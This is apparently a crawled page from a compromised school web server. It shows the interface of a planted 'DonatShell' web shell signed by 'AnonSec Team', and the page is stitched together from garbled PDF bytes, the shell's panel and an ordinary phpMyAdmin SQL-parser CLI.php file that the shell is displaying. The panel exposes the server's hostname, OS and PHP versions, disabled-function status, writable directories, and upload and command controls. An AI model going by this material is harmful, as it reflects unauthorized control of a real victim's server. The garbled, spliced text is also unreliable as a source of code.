%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/phpMyAdmin/libraries/sql-parser/src/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/phpMyAdmin/libraries/sql-parser/src/Utils/CLI.php
<?php

/**
 * CLI interface
 *
 * @package    SqlParser
 * @subpackage Utils
 */
namespace SqlParser\Utils;

use SqlParser\Parser;
use SqlParser\Lexer;

/**
 * CLI interface
 *
 * @category   Exceptions
 * @package    SqlParser
 * @subpackage Utils
 * @author     Michal Čihař <michal@cihar.com>
 * @license    http://opensource.org/licenses/GPL-2.0 GNU Public License
 */
class CLI
{
    public function mergeLongOpts(&$params, &$longopts)
    {
        foreach ($longopts as $value) {
            $value = rtrim($value, ':');
            if (isset($params[$value])) {
                $params[$value[0]] = $params[$value];
            }
        }
    }

    public function usageHighlight()
    {
        echo "Usage: highlight-query --query SQL [--format html|cli|text]\n";
    }

    public function parseHighlight()
    {
        $longopts = array('help', 'query:', 'format:');
        $params = getopt(
            'hq:f:', $longopts
        );
        $this->mergeLongOpts($params, $longopts);
        if (! isset($params['f'])) {
            $params['f'] = 'cli';
        }
        if (! in_array($params['f'], array('html', 'cli', 'text'))) {
            echo "ERROR: Invalid value for format!\n";
            return false;
        }
        return $params;
    }

    public function runHighlight()
    {
        $params = $this->parseHighlight();
        if ($params === false) {
            return 1;
        }
        if (isset($params['h'])) {
            $this->usageHighlight();
            return 0;
        }
        if (isset($params['q'])) {
            echo Formatter::format(
                $params['q'], array('type' => $params['f'])
            );
            echo "\n";
            return 0;
        }
        echo "ERROR: Missing parameters!\n";
        $this->usageHighlight();
        return 1;
    }

    public function usageLint()
    {
        echo "Usage: lint-query --query SQL\n";
    }

    public function parseLint()
    {
        $longopts = array('help', 'query:');
        $params = getopt(
            'hq:', $longopts
        );
        $this->mergeLongOpts($params, $longopts);
        return $params;
    }

    public function runLint()
    {
        $params = $this->parseLint();
        if ($params === false) {
            return 1;
        }
        if (isset($params['h'])) {
            $this->usageLint();
            return 0;
        }
        if (isset($params['q'])) {
            $lexer = new Lexer($params['q'], false);
            $parser = new Parser($lexer->list);
            $errors = Error::get(array($lexer, $parser));
            if (count($errors) == 0) {
                return 0;
            }
            $output = Error::format($errors);
            echo implode("\n", $output);
            echo "\n";
            return 10;
        }
        echo "ERROR: Missing parameters!\n";
        $this->usageLint();
        return 1;
    }
}

Anon7 - 2022
AnonSec Team